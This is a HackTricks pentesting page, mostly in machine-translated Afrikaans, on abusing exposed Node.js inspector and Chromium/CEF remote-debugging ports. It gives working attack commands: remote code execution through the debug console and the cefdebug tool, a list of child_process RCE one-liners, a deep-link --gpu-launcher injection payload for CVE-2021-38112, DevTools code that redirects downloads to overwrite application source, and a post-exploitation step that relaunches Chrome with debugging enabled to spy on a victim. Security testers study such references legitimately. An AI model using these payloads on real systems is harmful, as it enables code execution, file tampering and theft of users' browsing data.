Node inspector/CEF debug abuse

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

Uit die dokumentasie: Wanneer dit met die --inspect skakelaar begin word, luister 'n Node.js proses vir 'n debug kliënt. Deur standaard sal dit luister op gasheer en poort 127.0.0.1:9229. Elke proses word ook aan 'n unieke UUID toegeken.

Inspector kliënte moet die gasheeradres, poort en UUID weet en spesifiseer om te verbind. 'n Volledige URL sal iets soos ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e lyk.

Aangesien die debugger volle toegang tot die Node.js uitvoeringsomgewing het, mag 'n kwaadwillige akteur wat in staat is om met hierdie poort te verbind, in staat wees om arbitrêre kode namens die Node.js proses uit te voer (potensiële privilige-eskalasie).

Daar is verskeie maniere om 'n inspector te begin:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

Wanneer jy 'n ondersoekte proses begin, sal iets soos hierdie verskyn:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

Processes gebaseer op CEF (Chromium Embedded Framework) moet die param gebruik: --remote-debugging-port=9222 om die debugger oop te maak (die SSRF beskermings bly baie soortgelyk). Hulle in plaas daarvan om 'n NodeJS debug sessie te verleen, sal met die blaaier kommunikeer deur die Chrome DevTools Protocol, dit is 'n koppelvlak om die blaaiers te beheer, maar daar is nie 'n direkte RCE nie.

Wanneer jy 'n gedebugde blaaier begin, sal iets soos hierdie verskyn:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

Browsers, WebSockets en dieselfde oorsprong beleid

Webwerwe wat in 'n web-blaaier oopgemaak word, kan WebSocket en HTTP versoeke maak onder die blaaiers se sekuriteitsmodel. 'n Aanvanklike HTTP-verbinding is nodig om 'n unieke debugger sessie id te verkry. Die dieselfde oorsprong beleid verhinder webwerwe om hierdie HTTP-verbinding te maak. Vir addisionele sekuriteit teen DNS rebinding aanvalle, verifieer Node.js dat die 'Host' headers vir die verbinding of 'n IP adres of localhost of localhost6 presies spesifiseer.

Hierdie sekuriteitsmaatreëls verhinder die benutting van die inspekteur om kode te laat loop deur net 'n HTTP versoek te stuur (wat gedoen kan word deur 'n SSRF kwesbaarheid te benut).

Begin inspekteur in lopende prosesse

Jy kan die sein SIGUSR1 na 'n lopende nodejs-proses stuur om dit te laat begin die inspekteur in die standaardpoort. Let egter daarop dat jy genoeg voorregte moet hê, so dit mag jou voorregte toegang tot inligting binne die proses gee, maar nie 'n direkte voorregte-eskalasie nie.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Dit is nuttig in houers omdat om die proses af te sluit en 'n nuwe een te begin met --inspect nie 'n opsie is nie omdat die houer saam met die proses vermoor sal word.

Verbind met inspekteur/debugger

Om met 'n Chromium-gebaseerde blaaier te verbind, kan die chrome://inspect of edge://inspect URL's vir Chrome of Edge, onderskeidelik, toeganklik gemaak word. Deur op die Konfigureer-knoppie te klik, moet verseker word dat die teikenhost en poort korrek gelys is. Die beeld toon 'n Voorbeeld van Afgeleide Kode-uitvoering (RCE):

Met die opdraglyn kan jy met 'n debugger/inspekteur verbind met:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

Die hulpmiddel https://github.com/taviso/cefdebug laat jou toe om inspekteurs wat plaaslik loop te vind en kode daarin te injekteer.

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

Let daarop dat NodeJS RCE exploits nie sal werk as dit aan 'n blaaskans gekoppel is via Chrome DevTools Protocol (jy moet die API nagaan om interessante dinge te vind om daarmee te doen).

RCE in NodeJS Debugger/Inspector

As jy hier gekom het om te kyk hoe om RCE uit 'n XSS in Electron te kry, kyk asseblief na hierdie bladsy.

Sommige algemene maniere om RCE te verkry wanneer jy kan verbinde met 'n Node inspector is om iets soos (lyk of dit nie sal werk in 'n verbinding met Chrome DevTools protocol):

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

You can check the API here: https://chromedevtools.github.io/devtools-protocol/ In this section I will just list interesting things I find people have used to exploit this protocol.

Parameter Injection via Deep Links

In the CVE-2021-38112 Rhino-sekuriteit het ontdek dat 'n toepassing gebaseer op CEF 'n persoonlike URI in die stelsel geregistreer het (workspaces://) wat die volle URI ontvang het en toe die CEF-gebaseerde toepassing met 'n konfigurasie wat gedeeltelik van daardie URI saamgestel is, begin het.

Dit is ontdek dat die URI parameters URL-decodeer is en gebruik is om die CEF-basis toepassing te begin, wat 'n gebruiker toelaat om die vlag --gpu-launcher in die opdraglyn in te spuit en arbitrêre dinge uit te voer.

So, 'n payload soos:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

Will execute a calc.exe.

Oorskrywe Lêers

Verander die gids waar afgelaaide lêers gestoor gaan word en laai 'n lêer af om oor te skryf op dikwels gebruikte bronkode van die toepassing met jou kwaadwillige kode.

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCE en eksfiltrasie

Volgens hierdie pos: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 is dit moontlik om RCE te verkry en interne bladsye van theriver te eksfiltreer.

Post-Exploitatie

In 'n werklike omgewing en na die kompromittering van 'n gebruiker se rekenaar wat 'n Chrome/Chromium-gebaseerde blaaiert gebruik, kan jy 'n Chrome-proses met die foutopsporing geaktiveer en die foutopsporingpoort deurstuur sodat jy toegang kan verkry. Op hierdie manier sal jy in staat wees om alles wat die slagoffer met Chrome doen te inspekteer en sensitiewe inligting te steel.

Die stil manier is om elke Chrome-proses te beëindig en dan iets soos te noem

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

Verwysings

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

PreviousNFS no_root_squash/no_all_squash misconfiguration PE NextPayloads to execute

Last updated 4 days ago